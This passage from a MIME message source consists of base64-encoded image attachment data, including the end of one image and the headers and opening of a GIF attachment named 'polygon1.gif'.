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 Ow== ------=_NextPart_000_0001_01C43825.E3C7BD00 Content-Type: image/gif; name="polygon1.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="polygon1.gif" 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 